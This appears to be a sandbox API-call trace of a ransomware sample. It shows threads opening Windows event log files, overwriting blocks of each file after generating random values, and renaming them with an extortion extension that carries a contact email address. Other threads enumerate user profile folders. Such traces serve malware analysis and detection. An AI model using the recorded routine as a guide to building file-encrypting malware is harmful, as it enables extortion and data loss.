	[0084.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34528
	[0084.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34708
	[0084.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34708) returned 1
	[0084.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb270) returned 1
	[0084.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x191) returned 0x2d5c040
	[0084.692] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.692] WriteFile (in: hFile=0x998, lpBuffer=0x2d5c040*, nNumberOfBytesToWrite=0x191, lpNumberOfBytesWritten=0x11ebf984, lpOverlapped=0x0 | out: lpBuffer=0x2d5c040*, lpNumberOfBytesWritten=0x11ebf984*=0x191, lpOverlapped=0x0) returned 1
	[0084.696] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c040) returned 1
	[0084.696] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04540) returned 1
	[0084.696] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0084.696] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0084.696] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733ba8) returned 1
	[0084.696] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343c0) returned 1
	[0084.696] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34320) returned 1
	[0084.696] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340f0) returned 1
	[0084.696] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2d860
	[0084.696] wcscpy (in: _Dest=0x4f2d860, _Source="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx"
	[0084.696] wcscat (in: _Dest=0x4f2d860, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.697] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x11ebf93c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477d970
	[0084.697] NtSetInformationFile (FileHandle=0x998, IoStatusBlock=0x11ebf934, FileInformation=0x477d970, Length=0xce, FileInformationClass=0xa) returned 0x0
	[0087.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d970) returned 1
	[0087.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925518) returned 1
	[0087.785] NtQueryInformationFile (in: FileHandle=0x998, IoStatusBlock=0x11ebf948, FileInformation=0x11ebf920, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x11ebf948, FileInformation=0x11ebf920) returned 0x0
	[0087.785] NtSetInformationFile (FileHandle=0x998, IoStatusBlock=0x11ebf948, FileInformation=0x11ebf920, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0087.796] FlushFileBuffers (hFile=0x998) returned 1
	[0092.889] CloseHandle (hObject=0x998) 

Thread:
	id = 445
	os_tid = 0x161c

	[0077.363] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20
	[0081.860] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx", dwFileAttributes=0x20) returned 1
	[0081.860] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x149c
	[0081.860] GetFileSizeEx (in: hFile=0x149c, lpFileSize=0x11f3f900 | out: lpFileSize=0x11f3f900*=1118208) returned 1
	[0081.860] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x110ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.860] ReadFile (in: hFile=0x149c, lpBuffer=0x11f3f884, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11f3f880, lpOverlapped=0x0 | out: lpBuffer=0x11f3f884*, lpNumberOfBytesRead=0x11f3f880*=0x4, lpOverlapped=0x0) returned 1
	[0081.862] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.862] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.862] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33898
	[0081.862] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0081.862] NtQuerySystemTime (in: CurrentTime=0x11f3f860 | out: CurrentTime=0x11f3f860*=132251868085932537) returned 0x0
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x2558b6c7
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x830735a3
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x69a62b4f
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x13955b84
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x465ef23e
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0xb6bfe9d6
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x29abda72
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0xa1557431
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x2386ffee
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0xd8ef6229
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x8496ee64
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0xdc2af8b7
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x1da624ec
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0xb74777ec
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0xe8517321
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0xccb08f46
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0xb726df82
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x4fcfa97a
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0xfa428601
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0xd4cc2363
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x88631e8c
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0xb42d08f7
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x3636ded0
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x6b7fcaac
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0xd0bf1f5c
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0xdea072c
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x38d4f296
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0xfbf6141c
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x6ff8886c
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x7e46847e
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0x40c116b4
	[0081.862] RtlRandom (in: Seed=0x11f3f86c | out: Seed=0x11f3f86c) returned 0xa4401b59
	[0081.871] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04450) returned 1
	[0081.871] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0081.871] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.871] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x496b830
	[0081.874] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.874] ReadFile (in: hFile=0x149c, lpBuffer=0x496b830, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11f3f818, lpOverlapped=0x0 | out: lpBuffer=0x496b830*, lpNumberOfBytesRead=0x11f3f818*=0xc800, lpOverlapped=0x0) returned 1
	[0081.875] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.875] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa850
	[0081.875] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04450
	[0081.875] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.875] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.876] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4978038
	[0081.877] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0081.877] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04450) returned 1
	[0081.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa850) returned 1
	[0081.877] WriteFile (in: hFile=0x149c, lpBuffer=0x4978038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11f3f818, lpOverlapped=0x0 | out: lpBuffer=0x4978038*, lpNumberOfBytesWritten=0x11f3f818*=0xc800, lpOverlapped=0x0) returned 1
	[0081.944] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4978038) returned 1
	[0081.944] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.944] ReadFile (in: hFile=0x149c, lpBuffer=0x496b830, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11f3f818, lpOverlapped=0x0 | out: lpBuffer=0x496b830*, lpNumberOfBytesRead=0x11f3f818*=0xc800, lpOverlapped=0x0) returned 1
	[0081.946] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.946] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf58
	[0081.946] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0081.946] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.946] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.947] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4978038
	[0081.947] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.947] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e38
	[0081.947] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e38) returned 1
	[0081.947] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0081.947] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf58) returned 1
	[0081.947] WriteFile (in: hFile=0x149c, lpBuffer=0x4978038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11f3f818, lpOverlapped=0x0 | out: lpBuffer=0x4978038*, lpNumberOfBytesWritten=0x11f3f818*=0xc800, lpOverlapped=0x0) returned 1
	[0081.962] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4978038) returned 1
	[0081.962] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x104800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.962] ReadFile (in: hFile=0x149c, lpBuffer=0x496b830, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11f3f818, lpOverlapped=0x0 | out: lpBuffer=0x496b830*, lpNumberOfBytesRead=0x11f3f818*=0xc800, lpOverlapped=0x0) returned 1
	[0081.965] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x104800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.965] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaad8
	[0081.965] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04450
	[0081.965] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e38
	[0081.965] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e38) returned 1
	[0081.966] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4978038
	[0081.966] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33dc0
	[0081.966] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d20
	[0081.966] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0081.966] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04450) returned 1
	[0081.966] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0081.967] WriteFile (in: hFile=0x149c, lpBuffer=0x4978038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11f3f818, lpOverlapped=0x0 | out: lpBuffer=0x4978038*, lpNumberOfBytesWritten=0x11f3f818*=0xc800, lpOverlapped=0x0) returned 1
	[0081.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4978038) returned 1
	[0081.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780570
	[0081.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33dc0) returned 1
	[0081.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0081.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x496b830) returned 1
	[0081.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x27) returned 0x2d78110
	[0081.969] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.969] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x27) returned 0x2d77f30
	[0081.969] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0081.969] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.969] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.969] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e049f0) returned 1
	[0081.969] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa00) returned 1
	[0081.969] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14b) returned 0x4f55650
	[0081.969] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.969] WriteFile (in: hFile=0x149c, lpBuffer=0x4f55650*, nNumberOfBytesToWrite=0x14b, lpNumberOfBytesWritten=0x11f3f8c0, lpOverlapped=0x0 | out: lpBuffer=0x4f55650*, lpNumberOfBytesWritten=0x11f3f8c0*=0x14b, lpOverlapped=0x0) returned 1
	[0081.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f55650) returned 1
	[0081.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77f30) returned 1
	[0081.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0081.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78110) returned 1
	[0081.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780570) returned 1
	[0081.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0081.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0081.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0081.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x47bcd10
	[0081.972] wcscpy (in: _Dest=0x47bcd10, _Source="C:\\Logs\\Security.evtx" | out: _Dest="C:\\Logs\\Security.evtx") returned="C:\\Logs\\Security.evtx"
	[0081.972] wcscat (in: _Dest=0x47bcd10, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Security.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Security.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.972] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Security.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x11f3f878, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Security.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476f478
	[0081.973] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x11f3f870, FileInformation=0x476f478, Length=0x88, FileInformationClass=0xa) returned 0x0
	[0087.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476f478) returned 1
	[0087.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498e010) returned 1
	[0087.790] NtQueryInformationFile (in: FileHandle=0x149c, IoStatusBlock=0x11f3f884, FileInformation=0x11f3f85c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x11f3f884, FileInformation=0x11f3f85c) returned 0x0
	[0087.790] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x11f3f884, FileInformation=0x11f3f85c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bcd10) returned 1
	[0087.806] FlushFileBuffers (hFile=0x149c) returned 1
	[0093.020] CloseHandle (hObject=0x149c) 

Thread:
	id = 446
	os_tid = 0x1620

	[0077.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dacd38
	[0077.363] wcscpy (in: _Dest=0x2dacd38, _Source="C:\\Users\\Default\\AppData" | out: _Dest="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData"
	[0077.363] wcscat (in: _Dest=0x2dacd38, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\"
	[0077.363] wcscat (in: _Dest=0x2dacd38, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\*") returned="C:\\Users\\Default\\AppData\\*"
	[0077.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a1980
	[0077.363] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*", lpFindFileData=0x47a1980 | out: lpFindFileData=0x47a1980*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3aee4d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad778
	[0079.358] wcscmp (_String1=".", _String2=".") returned 0
	[0079.359] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x47a1980 | out: lpFindFileData=0x47a1980*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3aee4d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.359] wcscmp (_String1="..", _String2=".") returned 1
	[0079.359] wcscmp (_String1="..", _String2="..") returned 0
	[0079.359] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x47a1980 | out: lpFindFileData=0x47a1980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1
	[0079.359] wcscmp (_String1="Local", _String2=".") returned 1
	[0079.359] wcscmp (_String1="Local", _String2="..") returned 1
	[0079.359] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2dfb4f8
	[0079.359] wcscpy (in: _Dest=0x2dfb4f8, _Source="C:\\Users\\Default\\AppData" | out: _Dest="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData"
	[0079.359] wcscat (in: _Dest=0x2dfb4f8, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\"
	[0079.359] wcscat (in: _Dest=0x2dfb4f8, _Source="Local" | out: _Dest="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local"

Thread:
	id = 447
	os_tid = 0x1624

	[0077.364] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2e01710
	[0077.364] wcscpy (in: _Dest=0x2e01710, _Source="C:\\Users\\Default\\Application Data" | out: _Dest="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data"
	[0077.364] wcscat (in: _Dest=0x2e01710, _Source="\\" | out: _Dest="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\"
	[0077.364] wcscat (in: _Dest=0x2e01710, _Source="*" | out: _Dest="C:\\Users\\Default\\Application Data\\*") returned="C:\\Users\\Default\\Application Data\\*"
	[0077.364] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a1be8
	[0077.364] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*", lpFindFileData=0x47a1be8 | out: lpFindFileData=0x47a1be8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a1be8) returned 1
	[0077.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e01710) returned 1
	[0077.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e015d0) returned 1

Thread:
	id = 448
	os_tid = 0x1628

	[0077.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dad5f8
	[0077.365] wcscpy (in: _Dest=0x2dad5f8, _Source="C:\\Users\\Default\\Cookies" | out: _Dest="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies"
	[0077.365] wcscat (in: _Dest=0x2dad5f8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\"
	[0077.365] wcscat (in: _Dest=0x2dad5f8, _Source="*" | out: _Dest="C:\\Users\\Default\\Cookies\\*") returned="C:\\Users\\Default\\Cookies\\*"
	[0077.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a1e50
	[0077.365] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*", lpFindFileData=0x47a1e50 | out: lpFindFileData=0x47a1e50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a1e50) returned 1
	[0077.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dad5f8) returned 1
	[0077.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dacb38) returned 1

Thread:
	id = 449
	os_tid = 0x162c

	[0077.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dad638
	[0077.366] wcscpy (in: _Dest=0x2dad638, _Source="C:\\Users\\Default\\Desktop" | out: _Dest="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop"
